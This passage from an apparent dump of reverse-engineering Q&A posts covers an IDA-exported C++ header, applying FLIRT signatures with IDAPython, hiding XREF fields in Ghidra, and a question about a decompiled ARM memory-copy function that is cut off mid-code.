std::_Tree_comp&lt;0,std::_Tset_traits&lt;ActorRef&lt;IPlayer&gt;,std::less&lt;ActorRef&lt;IPlayer&gt; &gt;,std::allocator&lt;ActorRef&lt;IPlayer&gt; &gt;,0&gt; &gt; : std::_Tree_buy&lt;ActorRef&lt;IPlayer&gt;,std::allocator&lt;ActorRef&lt;IPlayer&gt; &gt; &gt; { }; /* 565 */ struct __cppobj std::_Tree&lt;std::_Tset_traits&lt;ActorRef&lt;IPlayer&gt;,std::less&lt;ActorRef&lt;IPlayer&gt; &gt;,std::allocator&lt;ActorRef&lt;IPlayer&gt; &gt;,0&gt; &gt; : std::_Tree_comp&lt;0,std::_Tset_traits&lt;ActorRef&lt;IPlayer&gt;,std::less&lt;ActorRef&lt;IPlayer&gt; &gt;,std::allocator&lt;ActorRef&lt;IPlayer&gt; &gt;,0&gt; &gt; { }; /* 687 */ struct __cppobj std::set&lt;ActorRef&lt;IPlayer&gt;,std::less&lt;ActorRef&lt;IPlayer&gt; &gt;,std::allocator&lt;ActorRef&lt;IPlayer&gt; &gt; &gt; : std::_Tree&lt;std::_Tset_traits&lt;ActorRef&lt;IPlayer&gt;,std::less&lt;ActorRef&lt;IPlayer&gt; &gt;,std::allocator&lt;ActorRef&lt;IPlayer&gt; &gt;,0&gt; &gt; { }; /* 322 */ struct __cppobj std::_Tree_val&lt;std::_Tree_simple_types&lt;ActorRef&lt;IActor&gt; &gt; &gt; : std::_Container_base0 { std::_Tree_node&lt;ActorRef&lt;IActor&gt;,void *&gt; *_Myhead; unsigned int _Mysize; }; /* 323 */ struct __cppobj std::_Tree_alloc&lt;0,std::_Tree_base_types&lt;ActorRef&lt;IActor&gt;,std::allocator&lt;ActorRef&lt;IActor&gt; &gt; &gt; &gt; : std::_Tree_val&lt;std::_Tree_simple_types&lt;ActorRef&lt;IActor&gt; &gt; &gt; { }; /* 328 */ struct __cppobj std::_Tree_buy&lt;ActorRef&lt;IActor&gt;,std::allocator&lt;ActorRef&lt;IActor&gt; &gt; &gt; : std::_Tree_alloc&lt;0,std::_Tree_base_types&lt;ActorRef&lt;IActor&gt;,std::allocator&lt;ActorRef&lt;IActor&gt; &gt; &gt; &gt; { }; /* 542 */ struct __cppobj std::_Tree_comp&lt;0,std::_Tset_traits&lt;ActorRef&lt;IActor&gt;,std::less&lt;ActorRef&lt;IActor&gt; &gt;,std::allocator&lt;ActorRef&lt;IActor&gt; &gt;,0&gt; &gt; : std::_Tree_buy&lt;ActorRef&lt;IActor&gt;,std::allocator&lt;ActorRef&lt;IActor&gt; &gt; &gt; { }; /* 554 */ struct __cppobj std::_Tree&lt;std::_Tset_traits&lt;ActorRef&lt;IActor&gt;,std::less&lt;ActorRef&lt;IActor&gt; &gt;,std::allocator&lt;ActorRef&lt;IActor&gt; &gt;,0&gt; &gt; : std::_Tree_comp&lt;0,std::_Tset_traits&lt;ActorRef&lt;IActor&gt;,std::less&lt;ActorRef&lt;IActor&gt; &gt;,std::allocator&lt;ActorRef&lt;IActor&gt; &gt;,0&gt; &gt; { }; /* 664 */ struct __cppobj std::set&lt;ActorRef&lt;IActor&gt;,std::less&lt;ActorRef&lt;IActor&gt; &gt;,std::allocator&lt;ActorRef&lt;IActor&gt; &gt; &gt; : std::_Tree&lt;std::_Tset_traits&lt;ActorRef&lt;IActor&gt;,std::less&lt;ActorRef&lt;IActor&gt; &gt;,std::allocator&lt;ActorRef&lt;IActor&gt; &gt;,0&gt; &gt; { }; /* 304 */ struct __cppobj std::_Tree_val&lt;std::_Tree_simple_types&lt;std::pair&lt;unsigned int const ,ActorRef&lt;IActor&gt; &gt; &gt; &gt; : std::_Container_base0 { std::_Tree_node&lt;std::pair&lt;unsigned int const ,ActorRef&lt;IActor&gt; &gt;,void *&gt; *_Myhead; unsigned int _Mysize; }; /* 305 */ struct __cppobj std::_Tree_alloc&lt;0,std::_Tree_base_types&lt;std::pair&lt;unsigned int const ,ActorRef&lt;IActor&gt; &gt;,std::allocator&lt;std::pair&lt;unsigned int const ,ActorRef&lt;IActor&gt; &gt; &gt; &gt; &gt; : std::_Tree_val&lt;std::_Tree_simple_types&lt;std::pair&lt;unsigned int const ,ActorRef&lt;IActor&gt; &gt; &gt; &gt; { }; /* 330 */ struct __cppobj std::_Tree_buy&lt;std::pair&lt;unsigned int const ,ActorRef&lt;IActor&gt; &gt;,std::allocator&lt;std::pair&lt;unsigned int const ,ActorRef&lt;IActor&gt; &gt; &gt; &gt; : std::_Tree_alloc&lt;0,std::_Tree_base_types&lt;std::pair&lt;unsigned int const ,ActorRef&lt;IActor&gt; &gt;,std::allocator&lt;std::pair&lt;unsigned int const ,ActorRef&lt;IActor&gt; &gt; &gt; &gt; &gt; { }; /* 331 */ struct __cppobj std::_Tree_comp&lt;0,std::_Tmap_traits&lt;unsigned int,ActorRef&lt;IActor&gt;,std::less&lt;unsigned int&gt;,std::allocator&lt;std::pair&lt;unsigned int const ,ActorRef&lt;IActor&gt; &gt; &gt;,0&gt; &gt; : std::_Tree_buy&lt;std::pair&lt;unsigned int const ,ActorRef&lt;IActor&gt; &gt;,std::allocator&lt;std::pair&lt;unsigned int const ,ActorRef&lt;IActor&gt; &gt; &gt; &gt; { }; /* 334 */ struct __cppobj std::_Tree&lt;std::_Tmap_traits&lt;unsigned int,ActorRef&lt;IActor&gt;,std::less&lt;unsigned int&gt;,std::allocator&lt;std::pair&lt;unsigned int const ,ActorRef&lt;IActor&gt; &gt; &gt;,0&gt; &gt; : std::_Tree_comp&lt;0,std::_Tmap_traits&lt;unsigned int,ActorRef&lt;IActor&gt;,std::less&lt;unsigned int&gt;,std::allocator&lt;std::pair&lt;unsigned int const ,ActorRef&lt;IActor&gt; &gt; &gt;,0&gt; &gt; { }; /* 597 */ struct __cppobj std::map&lt;unsigned int,ActorRef&lt;IActor&gt;,std::less&lt;unsigned int&gt;,std::allocator&lt;std::pair&lt;unsigned int const ,ActorRef&lt;IActor&gt; &gt; &gt; &gt; : std::_Tree&lt;std::_Tmap_traits&lt;unsigned int,ActorRef&lt;IActor&gt;,std::less&lt;unsigned int&gt;,std::allocator&lt;std::pair&lt;unsigned int const ,ActorRef&lt;IActor&gt; &gt; &gt;,0&gt; &gt; { }; /* 285 */ struct __cppobj std::_Tree_val&lt;std::_Tree_simple_types&lt;std::pair&lt;std::basic_string&lt;char,std::char_traits&lt;char&gt;,std::allocator&lt;char&gt; &gt; const ,AIZone *&gt; &gt; &gt; : std::_Container_base0 { std::_Tree_node&lt;std::pair&lt;std::basic_string&lt;char,std::char_traits&lt;char&gt;,std::allocator&lt;char&gt; &gt; const ,AIZone *&gt;,void *&gt; *_Myhead; unsigned int _Mysize; }; /* 286 */ struct __cppobj std::_Tree_alloc&lt;0,std::_Tree_base_types&lt;std::pair&lt;std::basic_string&lt;char,std::char_traits&lt;char&gt;,std::allocator&lt;char&gt; &gt; const ,AIZone *&gt;,std::allocator&lt;std::pair&lt;std::basic_string&lt;char,std::char_traits&lt;char&gt;,std::allocator&lt;char&gt; &gt; const ,AIZone *&gt; &gt; &gt; &gt; : std::_Tree_val&lt;std::_Tree_simple_types&lt;std::pair&lt;std::basic_string&lt;char,std::char_traits&lt;char&gt;,std::allocator&lt;char&gt; &gt; const ,AIZone *&gt; &gt; &gt; { }; /* 393 */ struct __cppobj std::_Tree_buy&lt;std::pair&lt;std::basic_string&lt;char,std::char_traits&lt;char&gt;,std::allocator&lt;char&gt; &gt; const ,AIZone *&gt;,std::allocator&lt;std::pair&lt;std::basic_string&lt;char,std::char_traits&lt;char&gt;,std::allocator&lt;char&gt; &gt; const ,AIZone *&gt; &gt; &gt; : std::_Tree_alloc&lt;0,std::_Tree_base_types&lt;std::pair&lt;std::basic_string&lt;char,std::char_traits&lt;char&gt;,std::allocator&lt;char&gt; &gt; const ,AIZone *&gt;,std::allocator&lt;std::pair&lt;std::basic_string&lt;char,std::char_traits&lt;char&gt;,std::allocator&lt;char&gt; &gt; const ,AIZone *&gt; &gt; &gt; &gt; { }; /* 490 */ struct __cppobj std::_Tree_comp&lt;0,std::_Tmap_traits&lt;std::basic_string&lt;char,std::char_traits&lt;char&gt;,std::allocator&lt;char&gt; &gt;,AIZone *,std::less&lt;std::basic_string&lt;char,std::char_traits&lt;char&gt;,std::allocator&lt;char&gt; &gt; &gt;,std::allocator&lt;std::pair&lt;std::basic_string&lt;char,std::char_traits&lt;char&gt;,std::allocator&lt;char&gt; &gt; const ,AIZone *&gt; &gt;,0&gt; &gt; : std::_Tree_buy&lt;std::pair&lt;std::basic_string&lt;char,std::char_traits&lt;char&gt;,std::allocator&lt;char&gt; &gt; const ,AIZone *&gt;,std::allocator&lt;std::pair&lt;std::basic_string&lt;char,std::char_traits&lt;char&gt;,std::allocator&lt;char&gt; &gt; const ,AIZone *&gt; &gt; &gt; { }; /* 513 */ struct __cppobj std::_Tree&lt;std::_Tmap_traits&lt;std::basic_string&lt;char,std::char_traits&lt;char&gt;,std::allocator&lt;char&gt; &gt;,AIZone *,std::less&lt;std::basic_string&lt;char,std::char_traits&lt;char&gt;,std::allocator&lt;char&gt; &gt; &gt;,std::allocator&lt;std::pair&lt;std::basic_string&lt;char,std::char_traits&lt;char&gt;,std::allocator&lt;char&gt; &gt; const ,AIZone *&gt; &gt;,0&gt; &gt; : std::_Tree_comp&lt;0,std::_Tmap_traits&lt;std::basic_string&lt;char,std::char_traits&lt;char&gt;,std::allocator&lt;char&gt; &gt;,AIZone *,std::less&lt;std::basic_string&lt;char,std::char_traits&lt;char&gt;,std::allocator&lt;char&gt; &gt; &gt;,std::allocator&lt;std::pair&lt;std::basic_string&lt;char,std::char_traits&lt;char&gt;,std::allocator&lt;char&gt; &gt; const ,AIZone *&gt; &gt;,0&gt; &gt; { }; /* 564 */ struct __cppobj std::map&lt;std::basic_string&lt;char,std::char_traits&lt;char&gt;,std::allocator&lt;char&gt; &gt;,AIZone *,std::less&lt;std::basic_string&lt;char,std::char_traits&lt;char&gt;,std::allocator&lt;char&gt; &gt; &gt;,std::allocator&lt;std::pair&lt;std::basic_string&lt;char,std::char_traits&lt;char&gt;,std::allocator&lt;char&gt; &gt; const ,AIZone *&gt; &gt; &gt; : std::_Tree&lt;std::_Tmap_traits&lt;std::basic_string&lt;char,std::char_traits&lt;char&gt;,std::allocator&lt;char&gt; &gt;,AIZone *,std::less&lt;std::basic_string&lt;char,std::char_traits&lt;char&gt;,std::allocator&lt;char&gt; &gt; &gt;,std::allocator&lt;std::pair&lt;std::basic_string&lt;char,std::char_traits&lt;char&gt;,std::allocator&lt;char&gt; &gt; const ,AIZone *&gt; &gt;,0&gt; &gt; { }; /* 706 */ struct World { WorldVtbl *vfptr; std::set&lt;ActorRef&lt;IPlayer&gt;,std::less&lt;ActorRef&lt;IPlayer&gt; &gt;,std::allocator&lt;ActorRef&lt;IPlayer&gt; &gt; &gt; m_players; std::set&lt;ActorRef&lt;IActor&gt;,std::less&lt;ActorRef&lt;IActor&gt; &gt;,std::allocator&lt;ActorRef&lt;IActor&gt; &gt; &gt; m_actors; std::map&lt;unsigned int,ActorRef&lt;IActor&gt;,std::less&lt;unsigned int&gt;,std::allocator&lt;std::pair&lt;unsigned int const ,ActorRef&lt;IActor&gt; &gt; &gt; &gt; m_actorsById; ILocalPlayer *m_localPlayer; unsigned int m_nextId; std::map&lt;std::basic_string&lt;char,std::char_traits&lt;char&gt;,std::allocator&lt;char&gt; &gt;,AIZone *,std::less&lt;std::basic_string&lt;char,std::char_traits&lt;char&gt;,std::allocator&lt;char&gt; &gt; &gt;,std::allocator&lt;std::pair&lt;std::basic_string&lt;char,std::char_traits&lt;char&gt;,std::allocator&lt;char&gt; &gt; const ,AIZone *&gt; &gt; &gt; m_aiZones; }; /* 259 */ struct ActorRef&lt;IPlayer&gt; { IPlayer *m_object; }; /* 1618 */ struct __cppobj ClientWorld : World { ActorRef&lt;IPlayer&gt; m_activePlayer; float m_timeUntilNextNetTick; }; </code></pre>
IDA exported header full of errors
|ida|c++|
<p>You can apply FLIRT signatures using <code>plan_to_apply_idasgn</code> function from <code>ida_funcs</code> module.</p> <p>From the <a href="https://hex-rays.com/wp-content/static/products/ida/support/idapython_docs/ida_funcs.html" rel="nofollow noreferrer">official API documentation</a>:</p> <blockquote> <p><code>def plan_to_apply_idasgn(*args) ‑&gt; int</code></p> <p>Add a signature file to the list of planned signature files.<br /> <strong>plan_to_apply_idasgn(fname) -&gt; int</strong><br /> <strong>fname</strong>: file name. should not contain directory part. (C++: const char *)<br /> <strong>return</strong>: 0 if failed, otherwise number of planned (and applied) signatures</p> </blockquote> <p>If you have an older version of IDA (before <code>7.4</code>), you can use <code>idc.ApplySig</code> function (see <a href="https://hex-rays.com/products/ida/support/ida74_idapython_no_bc695/" rel="nofollow noreferrer">link</a> and <a href="https://hex-rays.com/products/ida/support/ida74_idapython_no_bc695_porting_guide/" rel="nofollow noreferrer">link</a>).</p>
25395
2020-06-25T20:32:22.860
<p>I'm writing a script to find out how many functions were recognized after applying a <strong>FLIRT</strong> signature library, I'm using idapython I would like to know if I can apply the signatures by the script.</p>
Is there any way to apply FLIRT signatures through a script like idapython?
|ida|idapython|ida-plugin|flirt-signatures|
<p>Just press the <code>Edit the listing fields</code> button</p> <p><a href="https://i.stack.imgur.com/t2M9G.png" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/t2M9G.png" alt="enter image description here" /></a></p> <p>Then go to the <code>Instruction/Data</code> section</p> <p><a href="https://i.stack.imgur.com/SbKeQ.png" rel="nofollow noreferrer"><img src="https://i.stack.imgur.com/SbKeQ.png" alt="enter image description here" /></a></p> <p>Right-click on <code>XRef Header</code> and <code>XRef</code> and from the menu choose <code>Disable field</code>.</p>
25398
2020-06-26T02:12:55.017
<p>Sometimes a function will have a series of XREF comments next to it in the disassembly view such as in the following example:</p> <pre><code> ************************************************************** * FUNCTION * ************************************************************** void __stdcall FUN_803adb50(void) assume GQR0 = 0x0 assume GQR1 = 0x0 assume GQR2 = 0x40004 assume GQR3 = 0x50005 assume GQR4 = 0x60006 assume GQR5 = 0x70007 assume GQR6 = 0x0 assume GQR7 = 0x0 assume r13 = 0x805dd0e0 assume r2 = 0x805e6700 void &lt;VOID&gt; &lt;RETURN&gt; FUN_803adb50 XREF[357]: FUN_80058564:80058574(c), FUN_80058a80:80058a90(c), FUN_8005c298:8005c2a8(c), FUN_80288c48:80288c58(c), FUN_802b0ab8:802b0ac8(c), FUN_802b3860:802b3870(c), FUN_802b3a4c:802b3a5c(c), FUN_802b4f94:802b4fa4(c), FUN_802b563c:802b564c(c), FUN_802c81cc:802c81dc(c), FUN_802ca894:802ca8a4(c), FUN_802cd8f0:802cd908(c), AnimationTreeSomething:802d1ff8( FUN_8040fd5c:8040fd6c(c), FUN_80418708:80418718(c), FUN_8041e46c:8041e47c(c), FUN_80444fe0:80444ff0(c), FUN_80445cf4:80445d04(c), FUN_80446d80:80446d90(c), FUN_8044c500:8044c510(c), [more] </code></pre> <p>How can I turn these off (and on)?</p>
How to turn off XREF comments in Ghidra's disassembly view?
|disassembly|ghidra|
<p>For starters you could start by geting rid of most of the casts then start carving out the stack and heap structs where possible, then try to change the name of variables where possible to more type oriented ones, this will show most of the &quot;duplicate&quot; variables.</p> <p>Then start following the main flow following labels and maybe change their name to what specific position mignt represet, like <code>fail_exit</code> or <code>success_exit</code> etc</p> <p>Allso, is allways good to have the basic std structs defined if the source was compiled with c++.</p> <p>e.g</p> <pre><code>struct std_vector{ void* begin; void* end; void* capacity; } struct std_tree_node_base{ std_tree_node_base* left; std_tree_node_base* parent; std_tree_node_base* right; char color; char isNil; short pad1; //here will be the payload of the node, padded if needed } //red-black tree used to implement std::map, std::set struct std_tree{ std_tree_node_base* head; __int64 size; } struct std_list_node{ std_list_node* next; std_list_node* prev; //node payload here } struct std_list{ std_list_node* head; __int64 size; } //same for std::wstring but using wchar_t* struct std_string { char* _Begin; char* _End; __int64 _MySize; __int64 _MyReserved; } </code></pre> <p>And maybe switch to IDA as its has a lot better decompiler than Ghidra. I think you can get the freeware version on their website, should suffice.</p> <p>Good Luck!</p>
25410
2020-06-27T15:54:32.623
<p>This is my first time doing RE on a statically linked and stripped binary with ghidra. And I'm having a really hard time analyzing what function does what just by looking the decompiled code present by ghidra.</p> <p>Ghidra recognised the binary language ID as <code>ARM:LE:32:v8</code> and I'm especially stuck on this function:</p> <pre><code>undefined8 ToSolve1(uint *param_1,uint *param_2,int param_3,uint param_4) { uint *puVar1; uint *puVar2; byte *pbVar3; byte *pbVar4; uint *puVar5; uint *puVar6; byte *pbVar7; int iVar8; int iVar9; int iVar10; byte bVar11; uint uVar12; uint uVar13; uint uVar14; uint uVar15; uint uVar16; bool bVar17; bool bVar18; if (param_2 &lt; param_1) { param_2 = (uint *)((int)param_2 + param_3); param_1 = (uint *)((int)param_1 + param_3); iVar8 = param_3 + -4; iVar10 = iVar8; if (param_3 &lt; 4) goto LAB_0003ba2c; uVar13 = (uint)param_1 &amp; 3; if (uVar13 != 0) { bVar11 = *(byte *)(uint *)((int)param_2 + -1); *(byte *)(uint *)((int)param_1 + -1) = bVar11; puVar2 = (uint *)((int)param_1 + -1); puVar1 = (uint *)((int)param_2 + -1); if (1 &lt; uVar13) { bVar11 = *(byte *)(uint *)((int)param_2 + -2); *(byte *)(uint *)((int)param_1 + -2) = bVar11; puVar2 = (uint *)((int)param_1 + -2); puVar1 = (uint *)((int)param_2 + -2); } param_2 = puVar1; param_1 = puVar2; if (2 &lt; uVar13) { param_2 = (uint *)((int)param_2 + -1); bVar11 = *(byte *)param_2; } param_4 = (uint)bVar11; if (2 &lt; uVar13) { param_1 = (uint *)((int)param_1 + -1); *(byte *)param_1 = bVar11; } iVar10 = iVar8 - uVar13; bVar17 = iVar8 &lt; (int)uVar13; iVar8 = iVar10; if (bVar17) goto LAB_0003ba2c; } uVar13 = (uint)param_2 &amp; 3; if (uVar13 == 0) { iVar9 = iVar8 + -8; if (7 &lt; iVar8) { iVar8 = iVar8 + -0x1c; iVar10 = iVar8; if (0x13 &lt; iVar9) { do { uVar16 = param_2[-2]; uVar14 = param_2[-3]; uVar13 = param_2[-4]; param_1[-1] = param_2[-1]; param_1[-2] = uVar16; param_1[-3] = uVar14; param_1[-4] = uVar13; puVar2 = param_2 + -5; uVar14 = param_2[-6]; uVar13 = param_2[-7]; param_2 = param_2 + -8; param_4 = *param_2; param_1[-5] = *puVar2; param_1[-6] = uVar14; param_1[-7] = uVar13; param_1 = param_1 + -8; *param_1 = param_4; iVar8 = iVar10 + -0x20; bVar17 = 0x1f &lt; iVar10; iVar10 = iVar8; } while (bVar17); } if (iVar8 + 0x10 &lt; 0 == SCARRY4(iVar8,0x10)) { puVar2 = param_2 + -1; uVar14 = param_2[-2]; uVar13 = param_2[-3]; param_2 = param_2 + -4; param_4 = *param_2; param_1[-1] = *puVar2; param_1[-2] = uVar14; param_1[-3] = uVar13; param_1 = param_1 + -4; *param_1 = param_4; iVar8 = iVar8 + -0x10; } iVar9 = iVar8 + 0x14; if (iVar9 &lt; 0 == SCARRY4(iVar8,0x14)) { puVar2 = param_2 + -1; uVar13 = param_2[-2]; param_2 = param_2 + -3; param_4 = *param_2; param_1[-1] = *puVar2; param_1[-2] = uVar13; param_1 = param_1 + -3; *param_1 = param_4; iVar9 = iVar8 + 8; } } iVar10 = iVar9 + 8; if (iVar10 &lt; 0 == SCARRY4(iVar9,8)) { if (iVar10 &lt; 4) { param_2 = param_2 + -1; param_4 = *param_2; } if (iVar9 + 4 &lt; 0 == SBORROW4(iVar10,4)) { puVar2 = param_2 + -1; param_2 = param_2 + -2; uVar13 = *param_2; param_1[-1] = *puVar2; param_1 = param_1 + -2; *param_1 = uVar13; iVar10 = iVar9; } else { param_1 = param_1 + -1; *param_1 = param_4; iVar10 = iVar9 + 4; } } goto LAB_0003ba2c; } param_2 = (uint *)((uint)param_2 &amp; 0xfffffffc); uVar14 = *param_2; if (1 &lt; uVar13) { if (uVar13 == 2) { if (iVar8 &lt; 0xc) { LAB_0003bb4c: do { uVar13 = uVar14 &lt;&lt; 0x10; param_2 = param_2 + -1; uVar14 = *param_2; param_1 = param_1 + -1; *param_1 = uVar13 | uVar14 &gt;&gt; 0x10; iVar10 = iVar8 + -4; bVar17 = 3 &lt; iVar8; iVar8 = iVar10; } while (bVar17); } else { iVar8 = iVar8 + -0xc; do { iVar9 = iVar8; uVar13 = uVar14 &lt;&lt; 0x10; uVar15 = param_2[-1]; uVar12 = param_2[-2]; uVar16 = param_2[-3]; param_2 = param_2 + -4; uVar14 = *param_2; param_1[-1] = uVar13 | uVar15 &gt;&gt; 0x10; param_1[-2] = uVar15 &lt;&lt; 0x10 | uVar12 &gt;&gt; 0x10; param_1[-3] = uVar12 &lt;&lt; 0x10 | uVar16 &gt;&gt; 0x10; param_1 = param_1 + -4; *param_1 = uVar16 &lt;&lt; 0x10 | uVar14 &gt;&gt; 0x10; iVar8 = iVar9 + -0x10; } while (0xf &lt; iVar9); iVar10 = iVar9 + -4; iVar8 = iVar10; if (iVar10 &lt; 0 == SCARRY4(iVar9 + -0x10,0xc)) goto LAB_0003bb4c; } param_2 = (uint *)((int)param_2 + 2); goto LAB_0003ba2c; } if (iVar8 &lt; 0xc) { LAB_0003bae0: do { uVar13 = uVar14 &lt;&lt; 8; param_2 = param_2 + -1; uVar14 = *param_2; param_1 = param_1 + -1; *param_1 = uVar13 | uVar14 &gt;&gt; 0x18; iVar10 = iVar8 + -4; bVar17 = 3 &lt; iVar8; iVar8 = iVar10; } while (bVar17); } else { iVar8 = iVar8 + -0xc; do { iVar9 = iVar8; uVar13 = uVar14 &lt;&lt; 8; uVar15 = param_2[-1]; uVar12 = param_2[-2]; uVar16 = param_2[-3]; param_2 = param_2 + -4; uVar14 = *param_2; param_1[-1] = uVar13 | uVar15 &gt;&gt; 0x18; param_1[-2] = uVar15 &lt;&lt; 8 | uVar12 &gt;&gt; 0x18; param_1[-3] = uVar12 &lt;&lt; 8 | uVar16 &gt;&gt; 0x18; param_1 = param_1 + -4; *param_1 = uVar16 &lt;&lt; 8 | uVar14 &gt;&gt; 0x18; iVar8 = iVar9 + -0x10; } while (0xf &lt; iVar9); iVar10 = iVar9 + -4; iVar8 = iVar10; if (iVar10 &lt; 0 == SCARRY4(iVar9 + -0x10,0xc)) goto LAB_0003bae0; } param_2 = (uint *)((int)param_2 + 3); goto LAB_0003ba2c; } if (iVar8 &lt; 0xc) { LAB_0003bbb8: do { uVar13 = uVar14 &lt;&lt; 0x18; param_2 = param_2 + -1; uVar14 = *param_2; param_1 = param_1 + -1; *param_1 = uVar13 | uVar14 &gt;&gt; 8; iVar10 = iVar8 + -4; bVar17 = 3 &lt; iVar8; iVar8 = iVar10; } while (bVar17); } else { iVar8 = iVar8 + -0xc; do { iVar9 = iVar8; uVar13 = uVar14 &lt;&lt; 0x18; uVar15 = param_2[-1]; uVar12 = param_2[-2]; uVar16 = param_2[-3]; param_2 = param_2 + -4; uVar14 = *param_2; param_1[-1] = uVar13 | uVar15 &gt;&gt; 8; param_1[-2] = uVar15 &lt;&lt; 0x18 | uVar12 &gt;&gt; 8; param_1[-3] = uVar12 &lt;&lt; 0x18 | uVar16 &gt;&gt; 8; param_1 = param_1 + -4; *param_1 = uVar16 &lt;&lt; 0x18 | uVar14 &gt;&gt; 8; iVar8 = iVar9 + -0x10; } while (0xf &lt; iVar9); iVar10 = iVar9 + -4; iVar8 = iVar10; if (iVar10 &lt; 0 == SCARRY4(iVar9 + -0x10,0xc)) goto LAB_0003bbb8; } param_2 = (uint *)((int)param_2 + 1); LAB_0003ba2c: iVar8 = iVar10 + 4; if (iVar8 != 0) { bVar18 = SBORROW4(iVar8,2); bVar17 = iVar10 + 2 &lt; 0; pbVar7 = (byte *)((int)param_2 + -1); bVar11 = *pbVar7; pbVar3 = (byte *)((int)param_1 + -1); *pbVar3 = bVar11; if (1 &lt; iVar8) { pbVar7 = (byte *)((int)param_2 + -2); bVar11 = *pbVar7; } if (bVar17 == bVar18) { pbVar3 = (byte *)((int)param_1 + -2); *pbVar3 = bVar11; } if (iVar8 != 2 &amp;&amp; bVar17 == bVar18) { pbVar7 = pbVar7 + -1; bVar11 = *pbVar7; } if (iVar8 != 2 &amp;&amp; bVar17 == bVar18) { pbVar3 = pbVar3 + -1; *pbVar3 = bVar11; } return CONCAT44(pbVar3,pbVar7); } return CONCAT44(param_1,param_2); } if (param_2 == param_1) { return CONCAT44(param_1,param_2); } iVar8 = param_3 + -4; puVar2 = param_1; iVar10 = iVar8; if (param_3 &lt; 4) goto LAB_0003b7ec; if (((uint)param_1 &amp; 3) == 0) { uVar13 = (uint)param_2 &amp; 3; puVar1 = param_1; } else { iVar10 = -((uint)param_1 &amp; 3); iVar9 = iVar10 + 4; bVar18 = SBORROW4(iVar9,2); bVar17 = iVar10 + 2 &lt; 0; bVar11 = *(byte *)param_2; *(byte *)param_1 = bVar11; puVar2 = (uint *)((int)param_2 + 1); if (1 &lt; iVar9) { puVar2 = (uint *)((int)param_2 + 2); bVar11 = *(byte *)(uint *)((int)param_2 + 1); } puVar1 = (uint *)((int)param_1 + 1); if (bVar17 == bVar18) { puVar1 = (uint *)((int)param_1 + 2); *(byte *)(uint *)((int)param_1 + 1) = bVar11; } param_2 = puVar2; if (iVar9 != 2 &amp;&amp; bVar17 == bVar18) { param_2 = (uint *)((int)puVar2 + 1); bVar11 = *(byte *)puVar2; } param_4 = (uint)bVar11; puVar2 = puVar1; if (iVar9 != 2 &amp;&amp; bVar17 == bVar18) { puVar2 = (uint *)((int)puVar1 + 1); *(byte *)puVar1 = bVar11; } iVar10 = iVar8 - iVar9; if (iVar8 &lt; iVar9) goto LAB_0003b7ec; uVar13 = (uint)param_2 &amp; 3; iVar8 = iVar10; puVar1 = puVar2; } if (uVar13 == 0) { iVar9 = iVar8 + -8; if (7 &lt; iVar8) { iVar8 = iVar8 + -0x1c; if (0x13 &lt; iVar9) { do { iVar10 = iVar8; puVar5 = param_2; puVar2 = puVar1; uVar13 = puVar5[1]; uVar14 = puVar5[2]; uVar16 = puVar5[3]; *puVar2 = *puVar5; puVar2[1] = uVar13; puVar2[2] = uVar14; puVar2[3] = uVar16; param_4 = puVar5[4]; uVar13 = puVar5[5]; uVar14 = puVar5[6]; uVar16 = puVar5[7]; param_2 = puVar5 + 8; puVar2[4] = param_4; puVar2[5] = uVar13; puVar2[6] = uVar14; puVar2[7] = uVar16; puVar1 = puVar2 + 8; iVar8 = iVar10 + -0x20; } while (0x1f &lt; iVar10); if (iVar10 + -0x10 &lt; 0 == SCARRY4(iVar8,0x10)) { param_4 = *param_2; uVar13 = puVar5[9]; uVar14 = puVar5[10]; uVar16 = puVar5[0xb]; param_2 = puVar5 + 0xc; *puVar1 = param_4; puVar2[9] = uVar13; puVar2[10] = uVar14; puVar2[0xb] = uVar16; puVar1 = puVar2 + 0xc; iVar8 = iVar10 + -0x30; } } bVar18 = SCARRY4(iVar8,0x14); iVar9 = iVar8 + 0x14; bVar17 = iVar9 &lt; 0; do { if (bVar17 == bVar18) { param_4 = *param_2; uVar13 = param_2[1]; uVar14 = param_2[2]; param_2 = param_2 + 3; *puVar1 = param_4; puVar1[1] = uVar13; puVar1[2] = uVar14; puVar1 = puVar1 + 3; bVar18 = SBORROW4(iVar9,0xc); iVar9 = iVar9 + -0xc; bVar17 = iVar9 &lt; 0; } } while (bVar17 == bVar18); } iVar10 = iVar9 + 8; puVar2 = puVar1; if (iVar10 &lt; 0 == SCARRY4(iVar9,8)) { if (iVar10 &lt; 4) { param_4 = *param_2; param_2 = param_2 + 1; } if (iVar9 + 4 &lt; 0 == SBORROW4(iVar10,4)) { uVar13 = *param_2; uVar14 = param_2[1]; param_2 = param_2 + 2; *puVar1 = uVar13; puVar1[1] = uVar14; puVar2 = puVar1 + 2; iVar10 = iVar9; } else { puVar2 = puVar1 + 1; *puVar1 = param_4; iVar10 = iVar9 + 4; } } goto LAB_0003b7ec; } puVar5 = (uint *)((uint)param_2 &amp; 0xfffffffc) + 1; uVar14 = *(uint *)((uint)param_2 &amp; 0xfffffffc); if (uVar13 &lt; 3) { if (uVar13 == 2) { puVar6 = puVar5; if (iVar8 &lt; 0xc) { LAB_0003b910: do { uVar13 = uVar14 &gt;&gt; 0x10; puVar5 = puVar6 + 1; uVar14 = *puVar6; puVar2 = puVar1 + 1; *puVar1 = uVar13 | uVar14 &lt;&lt; 0x10; iVar10 = iVar8 + -4; bVar17 = 3 &lt; iVar8; puVar1 = puVar2; puVar6 = puVar5; iVar8 = iVar10; } while (bVar17); } else { iVar8 = iVar8 + -0xc; do { iVar9 = iVar8; uVar13 = uVar14 &gt;&gt; 0x10; uVar16 = *puVar5; uVar12 = puVar5[1]; uVar15 = puVar5[2]; uVar14 = puVar5[3]; puVar5 = puVar5 + 4; *puVar1 = uVar13 | uVar16 &lt;&lt; 0x10; puVar1[1] = uVar16 &gt;&gt; 0x10 | uVar12 &lt;&lt; 0x10; puVar1[2] = uVar12 &gt;&gt; 0x10 | uVar15 &lt;&lt; 0x10; puVar1[3] = uVar15 &gt;&gt; 0x10 | uVar14 &lt;&lt; 0x10; puVar1 = puVar1 + 4; iVar8 = iVar9 + -0x10; } while (0xf &lt; iVar9); iVar10 = iVar9 + -4; puVar2 = puVar1; puVar6 = puVar5; iVar8 = iVar10; if (iVar10 &lt; 0 == SCARRY4(iVar9 + -0x10,0xc)) goto LAB_0003b910; } param_2 = (uint *)((int)puVar5 + -2); goto LAB_0003b7ec; } puVar6 = puVar5; if (iVar8 &lt; 0xc) { LAB_0003b8a4: do { uVar13 = uVar14 &gt;&gt; 8; puVar5 = puVar6 + 1; uVar14 = *puVar6; puVar2 = puVar1 + 1; *puVar1 = 